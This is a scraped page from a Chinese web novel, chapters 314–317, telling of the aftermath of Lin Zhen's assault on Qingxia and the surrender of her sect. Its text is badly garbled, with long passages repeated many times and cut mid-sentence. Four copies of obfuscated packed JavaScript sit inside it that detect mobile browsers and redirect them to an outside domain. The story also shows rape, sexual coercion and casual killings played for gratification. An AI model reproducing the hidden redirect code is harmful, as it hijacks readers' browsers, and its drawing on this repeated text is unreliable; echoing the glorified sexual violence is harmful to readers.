老宗主摆了摆手,目光坚定:“无妨。这天下,需要林臻。快去吧。” 林臻和青竹按照老宗主的指示,朝着西南方向快步走去。 一路上,果然遇到几位身着朴素衣衫的老者,见了他们,默默点头,然后在前头领路。 而此时,青霞仙子也已经走出地牢。 不过以林臻的聪明还是立刻猜到了什么。 “你被男人破身了,而且青霞就是你的女儿,我说得对吧。” 老宗主没回答,也没有什么动作,像是将一切都默认了。 青竹好像听到什么惊天大秘密一样,瞪大眼睛,竖起耳朵听着。 却见老宗主沉默片刻后,又叹了口气:“唉,孽缘,孽缘啊。” “也许是善缘也说不定。因为人生的命运是早就被安排好的,坦然接受一切才是最好的缘分。” 林臻话里的深意让老宗主步伐一顿,随即又继续往前走。 三人走着走着,来到一片树林。 老宗主停下脚步,回头叮嘱道:“出去后,你们往西南方向走,那里有一条小路,直通山下,沿途我已安排了几个信得过的旧部,他们会助你们一臂之力。” 林臻的伤势愈发严重,脚步也越来越沉重,青竹不时关切地望向他,眼中满是担忧。 青竹心中涌起一阵感动,作揖行礼:“多谢老宗主大义,我们必定铭记于心。” 老宗主摆了摆手,目光坚定:“无妨。这天下,需要林臻。快去吧。” 林臻和青竹按照老宗主的指示,朝着西南方向快步走去。 一路上,果然遇到几位身着朴素衣衫的老者,见了他们,默默点头,然后在前头领路。 而此时,青霞仙子也已经走出地牢。 不过以林臻的聪明还是立刻猜到了什么。 “你被男人破身了,而且青霞就是你的女儿,我说得对吧。” 老宗主没回答,也没有什么动作,像是将一切都默认了。 青竹好像听到什么惊天大秘密一样,瞪大眼睛,竖起耳朵听着。 却见老宗主沉默片刻后,又叹了口气:“唉,孽缘,孽缘啊。” “也许是善缘也说不定。因为人生的命运是早就被安排好的,坦然接受一切才是最好的缘分。” 林臻话里的深意让老宗主步伐一顿,随即又继续往前走。 三人走着走着,来到一片树林。 老宗主停下脚步,回头叮嘱道:“出去后,你们往西南方向走,那里有一条小路,直通山下,沿途我已安排了几个信得过的旧部,他们会助你们一臂之力。” 林臻的伤势愈发严重,脚步也越来越沉重,青竹不时关切地望向他,眼中满是担忧。 青竹心中涌起一阵感动,作揖行礼:“多谢老宗主大义,我们必定铭记于心。” 老宗主摆了摆手,目光坚定:“无妨。这天下,需要林臻。快去吧。” 林臻和青竹按照老宗主的指示,朝着西南方向快步走去。 一路上,果然遇到几位身着朴素衣衫的老者,见了他们,默默点头,然后在前头领路。 而此时,青霞仙子也已经走出地牢。 不过以林臻的聪明还是立刻猜到了什么。 “你被男人破身了,而且青霞就是你的女儿,我说得对吧。” 老宗主没回答,也没有什么动作,像是将一切都默认了。 青竹好像听到什么惊天大秘密一样,瞪大眼睛,竖起耳朵听着。 却见老宗主沉默片刻后,又叹了口气:“唉,孽缘,孽缘啊。” “也许是善缘也说不定。因为人生的命运是早就被安排好的,坦然接受一切才是最好的缘分。” 林臻话里的深意让老宗主步伐一顿,随即又继续往前走。 三人走着走着,来到一片树林。 老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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而此时,青霞仙子也已经走出地牢。 不过以林臻的聪明还是立刻猜到了什么。 “你被男人破身了,而且青霞就是你的女儿,我说得对吧。” 老宗主没回答,也没有什么动作,像是将一切都默认了。 青竹好像听到什么惊天大秘密一样,瞪大眼睛,竖起耳朵听着。 却见老宗主沉默片刻后,又叹了口气:“唉,孽缘,孽缘啊。” “也许是善缘也说不定。因为人生的命运是早就被安排好的,坦然接受一切才是最好的缘分。” 林臻话里的深意让老宗主步伐一顿,随即又继续往前走。 三人走着走着,来到一片树林。 老宗主停下脚步,回头叮嘱道:“出去后,你们往西南方向走,那里有一条小路,直通山下,沿途我已安排了几个信得过的旧部,他们会助你们一臂之力。” 林臻的伤势愈发严重,脚步也越来越沉重,青竹不时关切地望向他,眼中满是担忧。 青竹心中涌起一阵感动,作揖行礼:“多谢老宗主大义,我们必定铭记于心。” 老宗主摆了摆手,目光坚定:“无妨。这天下,需要林臻。快去吧。” 林臻和青竹按照老宗主的指示,朝着西南方向快步走去。 一路上,果然遇到几位身着朴素衣衫的老者,见了他们,默默点头,然后在前头领路。 而此时,青霞仙子也已经走出地牢。 不过以林臻的聪明还是立刻猜到了什么。 “你被男人破身了,而且青霞就是你的女儿,我说得对吧。” 老宗主没回答,也没有什么动作,像是将一切都默认了。 青竹好像听到什么惊天大秘密一样,瞪大眼睛,竖起耳朵听着。 却见老宗主沉默片刻后,又叹了口气:“唉,孽缘,孽缘啊。” “也许是善缘也说不定。因为人生的命运是早就被安排好的,坦然接受一切才是最好的缘分。” 林臻话里的深意让老宗主步伐一顿,随即又继续往前走。 三人走着走着,来到一片树林。 老宗主停下脚步,回头叮嘱道:“出去后,你们往西南方向走,那里有一条小路,直通山下,沿途我已安排了几个信得过的旧部,他们会助你们一臂之力。” 林臻的伤势愈发严重,脚步也越来越沉重,青竹不时关切地望向他,眼中满是担忧。 青竹心中涌起一阵感动,作揖行礼:“多谢老宗主大义,我们必定铭记于心。” 老宗主摆了摆手,目光坚定:“无妨。这天下,需要林臻。快去吧。” 林臻和青竹按照老宗主的指示,朝着西南方向快步走去。 一路上,果然遇到几位身着朴素衣衫的老者,见了他们,默默点头,然后在前头领路。 而此时,青霞仙子也已经走出地牢。 第314章 你很美,尤其在那个时候 青霞仙子从没感觉这么累过好像经历了几次生死大战一般浑身虚脱地厉害。 这种情况一直到午夜才算是稍有缓和她拿起宝剑撑着身体站起身月光透过牢房的窗户照射进来打在她身上更像是被贬落凡尘的仙子。 到现在她依然记得林臻耕耘时对自己说的那句话。 “你很美尤其在忍住不喊的时候。” 可恶的林臻。 我的美难道还需要你来说吗?尤其在那种时候。 青霞仙子很是气恼可以说怒火中烧。 她无法忍受这样的屈辱更没办法像母亲一样安然自得地活下去。 她要报仇她要杀掉林臻。 然后再自杀与这个肮脏的世界诀别。 她提着剑尽量稳住身形一步一步走到牢房外面。 牢房外两个女护卫正在闲聊突然见青霞仙子出来顿时神情大骇。 “宗主!?” “您怎么” 青霞仙子脸色阴沉得能滴出水来她恶狠狠的盯着两名女护卫说道:“你们为什么不在里面?” “是是刘痕姑娘说让我们在外面守卫的说宗主正在拷问林臻。” 青霞仙子更加恼怒。 这两个笨蛋怎么什么都听刘痕的呢? 她是你妈吗? “那你们就没看见刘痕带着林臻走了吗?” “看到了刘痕姑娘说宗主审完后心情不好在里面调戏不允许我们进去。” “废物!饭桶!” 噌—— 青霞仙子宝剑出鞘在空中划过一道绝美的弧线两个女护卫当即被一剑封侯。 “额” 鲜血不要钱地彪出来喷了青霞仙子一身。 她那被林臻撕得不成样子的洁白长裙被染红更是平添几分妖娆与诡异。 解决掉两个不成器的女弟子青霞仙子开始往山顶走去。 晚上有巡夜的人看到青霞仙子这副样子都不敢靠近只远远地作揖便又快步离开。 这段上山的路青霞仙子每天都会走但从没有一次感觉如此漫长。 双腿像灌了铅似的沉重两腿中间隐隐有痛感传来 身为宗主的骄傲她又不想喊人过来将她抬上去所以她只有走。 走啊走啊 也不知道走了多久她终于来到半山腰。 这里有一块很气的大石头它伫立在悬崖 的边上,不倒,不动,不倾斜。 她还记得,小时候她最喜欢的事情就是爬上大石头,坐在上面看日出,享受着骄阳顺着海平面缓缓升起的视觉盛宴。 但是很可惜,长大后,她再也不得如此了。 因为要照顾天道宗主的声誉。 可令她没想到的是,此刻竟有一个身影坐在石头上,也同样背对着山体,面朝大海,浑身放松,目光远眺。 那一身素服看起来是那般洒脱与出尘。 那不是母亲么? 青霞仙子走过去,撑着宝剑,靠在石头上,气喘吁吁地呼道:“母亲。” “你来了。” “母亲为何坐在这里?” “你不觉得这里很美吗?” 青霞仙子望去,就见大海沉默着,天际泛起微光,似有金鳞隐现。 俄而,旭日轻挑云幔,泄出万道华光,刹那间,峰峦被镀上赤金,沙滩耀如珍宝铺陈,海浪欢呼着、簇拥着,把这天地间最壮丽的朝晖,推向人间。 “的确是极美的。” “当年,你父亲就是在这里强暴的我。” 青霞仙子没说话。 因为她刚刚经历了和母亲差不多的事情。 甚至,她都不知道该如何对母亲说起。 瞬间,有一滴泪顺着脸颊滑落,落地无声。 老宗主从石头上站起来,不舍地看了看已经悬在海平面之上的太阳,跳下来,看向青霞仙子。 却见自己女儿浑身褴褛,一双又细又白又长的美腿暴露在空气中,裙摆里,若隐若现,胸口的布料支离破碎,飘荡在微风下。 全无半点宗主风采。 老宗主怜爱地摸了摸她乱糟糟的头发,柔声道:“他欺负你了?” 此言一出,青霞仙子的泪水便不争气的,啪叽一声落在地上。 她攥紧双拳,咬牙切齿道:“我一定会杀了他!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062402|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我知道,因为当年我也是这么说的。”老宗主说着,将女儿搂进怀里,轻轻拍打着她的美背,“孩子,你信命吗?” “不信。” “可是我信。” “.”青霞仙子一阵沉默。 “我与你父亲认识的时候,也是因为任务,后来我失败了,天道也失败了。就在这里,我被你的父亲蛮横霸占。那年,我和你同岁。” 老宗主自顾自的继续说道:“我也曾发誓要杀他,但是我怀孕了,剑在喉咙,却迟迟下不去手。后来我怀着孕回到这里,重振旗鼓,大力 发展,只求天道不要再被人攻破,宗门弟子也不要再被男人欺凌。你出生后,便一直喜欢来这里看日出,那时候我才懂得,人不会无缘无故的爱上什么,也不会无缘无故地做某些事情。” “我父亲,他还在吗?” “前几个月去世了。” “哦,那也很好。” “死在今天欺负你的人手上。” “什么?” 青霞仙子突然挣开怀抱,满脸的难以置信。 “怎么可能?我父亲怎么死在林臻手上?我父亲是谁?” “他叫卞南山,是个顾家不起眼的管家而已。” “那怎么会.” 青霞仙子想问,一个管家怎么会来天道,并且在这里强暴了你呢? 却见老宗主淡然一笑。 “以前他以前不是管家,而是煊赫门的普通弟子。” “煊赫门?和我们一样也是江湖门派吗?” “他们和我们不一样,他们是混庙堂的,卞南山成为顾家的管家,从此改名为顾南山。几个月前,他被林臻扔进了拜火教的圣坛里。” “你的意思是,林臻不仅欺负了我,还杀了我父亲?” “不,你父亲不是林臻杀的。” “那是谁?” “是野心。” “野心?” “没错,你父亲死于他自己的野心。”老宗主再次怜爱地摸了摸青霞仙子的头发,带着她看向山脚下,“青霞,你看,退潮了。” “是啊,天路又出来了。” 第315章 大势所趋,容不得你任性 退潮时天路缓缓露出海面的景色,是青霞仙子与老宗主总也看不够的。 “孩子,跟我走吧。” “走?母亲要去哪?” “去哪都好,总不能死在这里。” “母亲这话是什么意思?” 青霞仙子还是很不理解。 平时淡然对待一切的母亲怎么会突然说出这样的话呢? 却见老宗主叹了口气:“唉,天道已经没有存在下去的必要了,或者说,已经没有存在下去的可能了。” “为什么!我们替天行道,照顾百姓,难道不是很好吗?” “天道这些年早就已经背离了初衷,再说林臻来了。” “林臻?他来了又怎样?我就不信他能一直对百姓好!” “错,他会一直对百姓好,但我说的不是百姓。”老宗主用手指向天路尽头,那黑压压的一片人,“我说的是他现在冲我们来了。” 青霞仙子瞪大双眼,难以置信地喊道:“是神机营和虎贲营!” 她几乎是下意识地转身要走,老宗主却一把抓住她的手腕。 “你干什么去?” “这还用说吗?召集人手抵抗啊!” “抵抗什么?人家神机营全体出动,六架八牛弩放在宗门口,你拿什么抵抗!?” “那你说怎么办?难道就在这等死吗?” 老宗主强行将她拽了回来,神色凝重的道:“我已经让护法去传话了,天道集体投降。” “这为什么!母亲,林臻是不会放过我们的!” “你错了,林臻绝非滥杀之辈,捆在京城的橙萱、雷影、璃月,现在都没有受半点委屈。上次若不是静澜一意孤行要刺杀林臻,又怎会被那个死胖子凌辱?只要她们乖乖投降,林臻绝不会杀她们的。” “可是.” “没有可是!大势所趋,容不得你任性,现在立刻跟我走,等风声过去再回来。” “母亲!” 老宗主二话不说,拉着青霞开始下山。 与此同时,天路尽头。 虎贲营为了能让林臻休息,特意支起营帐,胖子跪在床榻边上,泪流满面。 “大哥啊!!你好糊涂啊!!你是什么身份,你怎么能以身犯险呢!!现在可好,吓得命根子都蔫了!大哥!!胖爷一定给你报仇雪恨!!” 青竹端着伤药走了进来,不喜地说道。 “你就不能让世子安静一会儿?” 林臻因为失血过多,又强行破了 青霞的元阴,现在陷入重度昏迷当中。 胖子不哭了,拿林臻的袖子擦了擦大鼻涕,咕噜一下站起来,眼睛通红。 “青竹,告诉胖爷到底是谁伤的我大哥!胖爷要刨他家祖坟!” “世子有令,若非不得已,不能屠戮天道。” “什么?”胖子闻言又噗通一声跪下,“大哥啊!!你他妈是不是有病啊!?都这个节骨眼了你还发什么善心啊!!” “够了!别嚎了,天道老宗主救了世子,还祈求世子放过天道的人。你以为当时世子有别的选择吗?” “可是就这么放过她们,胖爷不甘心!” 青竹把伤药放在床榻上。 “不甘心也得甘心,难道你要违抗世子的命令?” 胖子顿时不乐意了。 “你少给我卖狗皮膏药,要是大哥跟胖爷说,胖爷肯定听话。你一个要啥没啥的臭老娘们逼逼叨什么?” “你!” “胖子.”两人的争吵到底还是把林臻弄醒了。 这一刻,林臻真觉得自己不如死了算了,浑身上下哪哪都疼得厉害,尤其是皮鞭留下的伤口和被青霞夹住的地方。 他模糊地睁开眼,就觉自己眼前好像有一团化不开的血雾,看什么都是红色的。 青竹用温水给林臻擦了擦脸,不见缓解。 看来得回去找孙神仙好好调养一下。 胖子抓住林臻的手,激动的道:“大哥,按你所说,资本阶级的力量已经整合,随时可以对百姓发起剥削!” 林臻头疼得闭上眼睛,无奈地道:“我教你那么多话,你就记住这两句是不是?” “大哥啊!没时间了,退潮了!赶紧发起进攻吧!” “可以,但是不得伤害投降的人。” “这是为什么!她们如此伤害你,你难道还装模作样地以德报怨?” “你以为我想啊?还不是答应了人家。” “也罢,胖爷这就整顿兵力开始冲锋。但这是战争,伤亡在所难免,万一弄死你的心上人,你可怪别胖爷啊!” “去你大爷的。记住了,投降的不杀,把她们绑了全部带回京城,我另有安排。现在,安排几个人先送我回去,我TM要疼死了。” “好好好!”胖子回头喊道,“猴子,二狗,韩忠,黄鼠!你们四个立刻送世子回京!不得有误!” “是!” “其余人等,随胖子上山!” “是!” 胖子连铠甲也不穿,扛 起陌刀走出营帐,翻身上马。 他望着渐渐露出来的天路,嘴角露出几分狞笑。 不杀人?不杀人怎么可能? 我大哥的仇,必须报! 胖子扛着陌刀在虎贲营和神机营士兵阵前来到巡逻,大声吼道:“兄弟们!世子被人草了,我们当弟弟的不报仇怎么行?来啊,随胖爷冲锋,夷平笔架山!” “杀!!!” “杀!!!” 胖子一马当先冲下缓坡,瞬间来到天路上。 马匹不适应这种石子路,但依旧跑得飞快,好像也着急去给林臻报仇一般。 后面大部队齐齐狂奔,几乎是转眼间便来到天道宗大门口。 然而就在此刻,胖子却愣住了,赶紧勒马。 “吁!!” 他这一勒马,后面也都紧急刹车。 胖子跳下来,吊儿郎当地走到那群跪在地上的女子面前,不知道这是什么情况。 “不是.你们家男人都死光了?” 绯羽仙子站起来,一双美目死死盯着胖子:“我们天道宗没有男人。” “那他们俩干啥的?”胖子用陌刀指了指看大门的两个男弟子。 绯羽说道:“看门的。” “哦。” 胖子哦了一声,甩手就是两刀。 噗—— 噗—— 两颗人头就被他砍了下来,然后哈哈大笑:“哈哈哈哈,这才叫没有男人嘛!” 起陌刀走出营帐,翻身上马。 他望着渐渐露出来的天路,嘴角露出几分狞笑。 不杀人?不杀人怎么可能? 我大哥的仇,必须报! 胖子扛着陌刀在虎贲营和神机营士兵阵前来到巡逻,大声吼道:“兄弟们!世子被人草了,我们当弟弟的不报仇怎么行?来啊,随胖爷冲锋,夷平笔架山!” “杀!!!” “杀!!!” 胖子一马当先冲下缓坡,瞬间来到天路上。 马匹不适应这种石子路,但依旧跑得飞快,好像也着急去给林臻报仇一般。 后面大部队齐齐狂奔,几乎是转眼间便来到天道宗大门口。 然而就在此刻,胖子却愣住了,赶紧勒马。 “吁!!” 他这一勒马,后面也都紧急刹车。 胖子跳下来,吊儿郎当地走到那群跪在地上的女子面前,不知道这是什么情况。 “不是.你们家男人都死光了?” 绯羽仙子站起来,一双美目死死盯着胖子:“我们天道宗没有男人。” “那他们俩干啥的?”胖子用陌刀指了指看大门的两个男弟子。 绯羽说道:“看门的。” “哦。” 胖子哦了一声,甩手就是两刀。 噗—— 噗—— 两颗人头就被他砍了下来,然后哈哈大笑:“哈哈哈哈,这才叫没有男人嘛!” 起陌刀走出营帐,翻身上马。 他望着渐渐露出来的天路,嘴角露出几分狞笑。 不杀人?不杀人怎么可能? 我大哥的仇,必须报! 胖子扛着陌刀在虎贲营和神机营士兵阵前来到巡逻,大声吼道:“兄弟们!世子被人草了,我们当弟弟的不报仇怎么行?来啊,随胖爷冲锋,夷平笔架山!” “杀!!!” “杀!!!” 胖子一马当先冲下缓坡,瞬间来到天路上。 马匹不适应这种石子路,但依旧跑得飞快,好像也着急去给林臻报仇一般。 后面大部队齐齐狂奔,几乎是转眼间便来到天道宗大门口。 然而就在此刻,胖子却愣住了,赶紧勒马。 “吁!!” 他这一勒马,后面也都紧急刹车。 胖子跳下来,吊儿郎当地走到那群跪在地上的女子面前,不知道这是什么情况。 “不是.你们家男人都死光了?” 绯羽仙子站起来,一双美目死死盯着胖子:“我们天道宗没有男人。” “那他们俩干啥的?”胖子用陌刀指了指看大门的两个男弟子。 绯羽说道:“看门的。” “哦。” 胖子哦了一声,甩手就是两刀。 噗—— 噗—— 两颗人头就被他砍了下来,然后哈哈大笑:“哈哈哈哈,这才叫没有男人嘛!” 起陌刀走出营帐,翻身上马。 他望着渐渐露出来的天路,嘴角露出几分狞笑。 不杀人?不杀人怎么可能? 我大哥的仇,必须报! 胖子扛着陌刀在虎贲营和神机营士兵阵前来到巡逻,大声吼道:“兄弟们!世子被人草了,我们当弟弟的不报仇怎么行?来啊,随胖爷冲锋,夷平笔架山!” “杀!!!” “杀!!!” 胖子一马当先冲下缓坡,瞬间来到天路上。 马匹不适应这种石子路,但依旧跑得飞快,好像也着急去给林臻报仇一般。 后面大部队齐齐狂奔,几乎是转眼间便来到天道宗大门口。 然而就在此刻,胖子却愣住了,赶紧勒马。 “吁!!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062403|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他这一勒马,后面也都紧急刹车。 胖子跳下来,吊儿郎当地走到那群跪在地上的女子面前,不知道这是什么情况。 “不是.你们家男人都死光了?” 绯羽仙子站起来,一双美目死死盯着胖子:“我们天道宗没有男人。” “那他们俩干啥的?”胖子用陌刀指了指看大门的两个男弟子。 绯羽说道:“看门的。” “哦。” 胖子哦了一声,甩手就是两刀。 噗—— 噗—— 两颗人头就被他砍了下来,然后哈哈大笑:“哈哈哈哈,这才叫没有男人嘛!” 起陌刀走出营帐,翻身上马。 他望着渐渐露出来的天路,嘴角露出几分狞笑。 不杀人?不杀人怎么可能? 我大哥的仇,必须报! 胖子扛着陌刀在虎贲营和神机营士兵阵前来到巡逻,大声吼道:“兄弟们!世子被人草了,我们当弟弟的不报仇怎么行?来啊,随胖爷冲锋,夷平笔架山!” “杀!!!” “杀!!!” 胖子一马当先冲下缓坡,瞬间来到天路上。 马匹不适应这种石子路,但依旧跑得飞快,好像也着急去给林臻报仇一般。 后面大部队齐齐狂奔,几乎是转眼间便来到天道宗大门口。 然而就在此刻,胖子却愣住了,赶紧勒马。 “吁!!” 他这一勒马,后面也都紧急刹车。 胖子跳下来,吊儿郎当地走到那群跪在地上的女子面前,不知道这是什么情况。 “不是.你们家男人都死光了?” 绯羽仙子站起来,一双美目死死盯着胖子:“我们天道宗没有男人。” “那他们俩干啥的?”胖子用陌刀指了指看大门的两个男弟子。 绯羽说道:“看门的。” “哦。” 胖子哦了一声,甩手就是两刀。 噗—— 噗—— 两颗人头就被他砍了下来,然后哈哈大笑:“哈哈哈哈,这才叫没有男人嘛!” 起陌刀走出营帐,翻身上马。 他望着渐渐露出来的天路,嘴角露出几分狞笑。 不杀人?不杀人怎么可能? 我大哥的仇,必须报! 胖子扛着陌刀在虎贲营和神机营士兵阵前来到巡逻,大声吼道:“兄弟们!世子被人草了,我们当弟弟的不报仇怎么行?来啊,随胖爷冲锋,夷平笔架山!” “杀!!!” “杀!!!” 胖子一马当先冲下缓坡,瞬间来到天路上。 马匹不适应这种石子路,但依旧跑得飞快,好像也着急去给林臻报仇一般。 后面大部队齐齐狂奔,几乎是转眼间便来到天道宗大门口。 然而就在此刻,胖子却愣住了,赶紧勒马。 “吁!!” 他这一勒马,后面也都紧急刹车。 胖子跳下来,吊儿郎当地走到那群跪在地上的女子面前,不知道这是什么情况。 “不是.你们家男人都死光了?” 绯羽仙子站起来,一双美目死死盯着胖子:“我们天道宗没有男人。” “那他们俩干啥的?”胖子用陌刀指了指看大门的两个男弟子。 绯羽说道:“看门的。” “哦。” 胖子哦了一声,甩手就是两刀。 噗—— 噗—— 两颗人头就被他砍了下来,然后哈哈大笑:“哈哈哈哈,这才叫没有男人嘛!” 起陌刀走出营帐,翻身上马。 他望着渐渐露出来的天路,嘴角露出几分狞笑。 不杀人?不杀人怎么可能? 我大哥的仇,必须报! 胖子扛着陌刀在虎贲营和神机营士兵阵前来到巡逻,大声吼道:“兄弟们!世子被人草了,我们当弟弟的不报仇怎么行?来啊,随胖爷冲锋,夷平笔架山!” “杀!!!” “杀!!!” 胖子一马当先冲下缓坡,瞬间来到天路上。 马匹不适应这种石子路,但依旧跑得飞快,好像也着急去给林臻报仇一般。 后面大部队齐齐狂奔,几乎是转眼间便来到天道宗大门口。 然而就在此刻,胖子却愣住了,赶紧勒马。 “吁!!” 他这一勒马,后面也都紧急刹车。 胖子跳下来,吊儿郎当地走到那群跪在地上的女子面前,不知道这是什么情况。 “不是.你们家男人都死光了?” 绯羽仙子站起来,一双美目死死盯着胖子:“我们天道宗没有男人。” “那他们俩干啥的?”胖子用陌刀指了指看大门的两个男弟子。 绯羽说道:“看门的。” “哦。” 胖子哦了一声,甩手就是两刀。 噗—— 噗—— 两颗人头就被他砍了下来,然后哈哈大笑:“哈哈哈哈,这才叫没有男人嘛!” 第316章 听说就是你打的我大哥? 天路尽头,海风呼啸,海浪拍打着岸边的礁石,溅起层层白沫。 所有的天道女弟子都脸色惨白地跪在地上,低垂着头,发丝在风中凌乱。 她们紧咬下唇,眼中虽有不甘,却愣是不敢有丝毫反抗。 胖子挥手间杀掉两个人。 鲜血喷涌而出,他站在血雾之中,心情大为愉悦。 随即眼神冰冷的扫过眼前众人,嘴角勾起一抹似有若无的冷笑。 这一变故太过突然,在场的其余天道成员皆是一颤,眼中满是震惊与绝望。 她们望着胖子的眼神,就像在看一个从地狱爬出来的恶魔。 绯羽仙子站在一旁,身着一袭火红色的长裙,此刻那裙摆被海风吹得烈烈作响,恰似她心中燃烧的怒火。 她柳眉倒竖,美目圆睁,贝齿紧咬下唇,脸上的愤慨之色仿佛要将周围的空气点燃。 “你这个人渣!!我要杀了你!! “妹妹,不可冲动! 她一袭白衣胜雪,面容清冷如霜,在这海风肆虐的环境下,更显风姿绰约。 与绯羽仙子的火爆性子不同,雪樱仙子向来遇事冷静,她目光快速扫过四周。 神机营的手弩,长弓早已经准备多时。 天道大势已去,反抗也只是送死而已。 胖子见状,仰头哈哈大笑起来,那笑声张狂至极,盖过了海浪的咆哮声,震得众人耳中嗡嗡作响。 他一边笑,一边用那双类似张飞的大眼睛肆无忌惮地在两位仙子身上来回扫视,目光中满是戏谑与调戏之意。 脸上的肥肉跟着他的表情抖动,配上那副得意忘形的模样,让人恨得牙痒痒。 “诶?这两位想必就是传说中大名鼎鼎的天道十二仙吧? 绯羽仙子冷声回应:“你知道就好。 “不是.那怎么就你两个啊?其他仙子呢? “你管得着么。 “哦胖子摸了摸脑袋,走到一名女弟子面前,夸张的大手捏住她较小的下巴,笑道:“呵呵呵,这么好看的脸,可惜了. 绯羽仙子当即想到什么,大喊道:“不要! “说不要就是要,说要就是狠狠的要,胖爷很懂你们女人的。胖子露出一抹十分残忍的笑容,大手开始微微发力。 那年岁不超过十八的天道女弟子顿时脸色涨红,双手抓住胖子的手希望可以缓解压力,但是于事无补。 很快, 她便喘不上来气了,青筋暴起,双目充血。 “说!其他仙子在哪? 绯羽仙子攥紧拳头,咬牙道:“去执行任务了。 胖子松开手。 那女弟子立刻趴在地上剧烈咳嗽起来。 “咳咳咳! “哈哈哈哈,胖爷没有别的爱好,就喜欢收集!胖子故意挺了挺胸膛,迈着大步走近绯羽仙子。 身上的气势丝毫不减,仿佛这天地间他就是主宰,全然不把天道杀手组织放在眼里。 绯羽仙子气得脸颊绯红,胸脯剧烈起伏。 若不是雪樱仙子死死拉住,怕是早就不顾一切地冲上去与胖子拼命了。 “你知道胖爷喜欢收集什么吗?牛逼的女人!胖爷就喜欢看她们在胖爷身下挣扎,却又无能为力的样子。哈哈哈哈,静澜是你姐姐吧?她就是如此! “你这淫魔,迟早会付出代价的!绯羽仙子一口贝齿险些咬碎,厉声喝道。 声音中带着几分哽咽,既是为姐姐的遭遇悲愤,也是被胖子的羞辱气得不轻。 胖子同样伸出手捏住她的下巴,趾高气昂地道:“怎么,心里不痛快?想动手?来呀,哈哈哈哈! “死胖子,有种我们单挑! 见她要发难,雪樱仙子死死按住她的手腕:“妹妹不可!老宗主说了,让我们不要反抗! “可是. “没有可是!如果你反抗,我们天道一个人也活不了! “哈哈哈哈。胖子却仿若未闻,笑声愈发响亮,“不敢啊?亏你还是仙子呢,连这点勇气都没有,回头胖爷得好好调教调教你! 言罢胖子大手直接捏在她胸口,恶狠狠的道:“听说就是你打的我大哥? 胖子力气很大,绯羽仙子吃痛,却死不吭声。 雪樱仙子见状也只是把脸撇了过去。 此时此刻,人为刀俎我为鱼肉,除了忍耐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15066046|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以外什么也做不了。 就像老宗主说的那样。 “林臻不是个好杀之人,但他那兄弟可不同,你们若还怜惜天道这上千弟子,就不要反抗他,否则天道将从此除名。 雪樱仙子不忍心自己的弟子被屠戮,更不忍心看着自己努力二十年的天道宗被灭门,所以她选择了归顺,选择投降,选择忍耐。 甚至,她还要让绯羽仙子也和她一样。 忍耐,就是她们唯一的出路。 胖子见怎么用力捏绯羽仙子也不吭声,无聊地往她脸上啐了口唾沫。 “呸!死鱼一只,真没劲。比你姐姐差远了。” 胖子是真想把这帮人全杀了,但是又不敢违背林臻的命令。 所以他需要一个能搪塞林臻的理由。 比如激对方先动手就不错。 可谁知,这绯羽仙子看着脾气火爆,但根本就不上当。 绯羽仙子忍受了胖子这一口唾沫。 她用袖子擦了擦,也不知道擦下来的是口水还是屈辱的眼泪。 她从没这么被欺负过。 胖子转身看向雪樱仙子,伸出手指头在她光洁的小脸上滑动。 “胖爷发现你长得也不错。这真是奇了他骂了隔壁的怪了,你们天道十二仙是靠长相封的吗?” “不是。” 雪樱仙子不为所动,目光冷冷地盯着前方。 不管胖子做什么,她都像尊雕像似的,安静地杵在那里。 见也没什么意思,胖子砸吧砸吧嘴。 看来今天想大开杀戒是没什么希望了。 他回过头,单手抓住绯羽仙子的头发,怒吼道:“跪下!” “你休想!” “胖爷让你跪下!” “绯羽.” 绯羽仙子看到姐姐那几乎祈求的眼神,把心一横,跪了下去。 胖子笑道:“胖爷现在火气很大,如果你不乖乖的,我就先杀你们二百人,专挑你的弟子杀。” “你!” 绯羽仙子瞪大眼睛,难以置信地看着胖子,又看了看那些连头都不敢抬起的徒弟。 最后,她屈服了。 第317章 林臻把你肚子搞大了,不得负责? 雪樱仙子闭上眼睛,不忍去看。 谁知就在她张开嘴的那一刻,胖子突然往后躲了躲,笑道。 “哈哈哈哈,小娘们有点意思啊,不过胖爷可没有大庭广众之下就胡搞的习惯,等回了京城,胖爷再好好陪你过两招。” 